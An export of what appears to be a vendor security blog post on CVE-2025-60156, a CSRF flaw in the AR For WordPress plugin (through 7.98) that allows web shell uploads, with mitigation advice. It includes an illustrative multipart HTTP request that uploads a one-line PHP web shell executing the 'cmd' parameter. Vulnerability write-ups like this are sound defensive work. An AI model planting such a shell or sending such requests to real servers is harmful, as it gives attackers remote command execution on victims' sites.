{"id":80821,"date":"2025-10-02T23:41:47","date_gmt":"2025-10-02T23:41:47","guid":{"rendered":""},"modified":"2025-10-21T22:39:45","modified_gmt":"2025-10-22T04:39:45","slug":"cve-2025-60156-critical-csrf-vulnerability-in-ar-for-wordpress-allows-shell-uploads","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-60156-critical-csrf-vulnerability-in-ar-for-wordpress-allows-shell-uploads\/","title":{"rendered":"<strong>CVE-2025-60156: Critical CSRF Vulnerability in AR For WordPress Allows Shell Uploads<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The cybersecurity landscape is abuzz with the identification of a new vulnerability, CVE-2025-60156. This vulnerability is a Cross-Site Request Forgery (CSRF) that impacts the AR For WordPress web and print service. Essentially, this flaw allows malicious actors to upload a web shell to a web server, potentially leading to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2021-26383-critical-vulnerability-in-amd-tee-puts-system-integrity-and-data-availability-in-jeopardy\/\"  data-wpil-monitor-id=\"88044\">system compromise or data<\/a> leakage. Given the widespread use of AR For WordPress and the severity of the potential impact, understanding and mitigating this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-10057-remote-code-execution-vulnerability-in-wp-import-ultimate-csv-xml-importer-for-wordpress-plugin\/\"  data-wpil-monitor-id=\"90898\">vulnerability is of utmost importance<\/a>.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-60156<br \/>\nSeverity: Critical (9.6 CVSS Score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: Required<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-9443-buffer-overflow-vulnerability-in-tenda-ch22-1-0-0-1-potentially-leads-to-system-compromise\/\"  data-wpil-monitor-id=\"89033\">Potential system<\/a> compromise or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-373245446\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>AR For WordPress | n\/a through 7.98<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The exploit works by manipulating a weakness in the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8942-manipulation-of-review-ratings-in-wp-hotel-booking-wordpress-plugin\/\"  data-wpil-monitor-id=\"90714\">CSRF protections of AR<\/a> For WordPress. CSRF is a type of malicious exploit where <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-2297-user-profile-manipulation-leading-to-unauthorized-privilege-escalation\/\"  data-wpil-monitor-id=\"90669\">unauthorized commands are transmitted from a user<\/a> that the website trusts. In the case of this vulnerability, the CSRF flaw <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-24119-critical-macos-vulnerability-allowing-arbitrary-code-execution-outside-sandbox\/\"  data-wpil-monitor-id=\"90935\">allows attackers to trick legitimate users into executing<\/a> requests on their behalf.<br \/>\nThe attacker crafts a URL or web page that, when visited by another user, triggers a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-7812-critical-cross-site-request-forgery-vulnerability-in-video-share-vod-wordpress-plugin\/\"  data-wpil-monitor-id=\"88550\">request to the AR For WordPress<\/a> server. The server, failing to adequately validate the origin of the request, executes the command, which in this case involves <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-58745-arbitrary-file-upload-vulnerability-in-wegia-web-manager-for-charitable-institutions\/\"  data-wpil-monitor-id=\"88102\">uploading a web<\/a> shell. This shell can then be used by the attacker to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47098-arbitrary-code-execution-vulnerability-in-incopy\/\"  data-wpil-monitor-id=\"88154\">execute arbitrary<\/a> commands, potentially leading to system compromise or data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-2164719959\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a conceptual example of how this vulnerability could be exploited. Please note that this is for illustrative purposes only:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/upload_shell HTTP\/1.1\nHost: target.example.com\nContent-Type: multipart\/form-data; boundary=---------------------------735323031399963166993862150\nCookie: [user session cookie]\n-----------------------------735323031399963166993862150\nContent-Disposition: form-data; name=&quot;file&quot;; filename=&quot;shell.php&quot;\nContent-Type: application\/x-php\n&lt;?php echo shell_exec($_GET[&#039;cmd&#039;]); ?&gt;\n-----------------------------735323031399963166993862150--<\/code><\/pre>\n<p>In this example, the attacker crafts a POST request to upload a web shell (`shell.php`) disguised as a standard form submission. The shell <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-59458-jetbrains-junie-code-execution-vulnerability-through-improper-command-validation\/\"  data-wpil-monitor-id=\"89591\">executes commands<\/a> passed via the `cmd` GET parameter.<br \/>\nTo mitigate this vulnerability, it is recommended to apply the vendor patch as soon as it becomes available. In the meantime, using a web application firewall (WAF) or intrusion detection system (IDS) can provide temporary mitigation.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The cybersecurity landscape is abuzz with the identification of a new vulnerability, CVE-2025-60156. This vulnerability is a Cross-Site Request Forgery (CSRF) that impacts the AR For WordPress web and print service. Essentially, this flaw allows malicious actors to upload a web shell to a web server, potentially leading to system compromise or data leakage. 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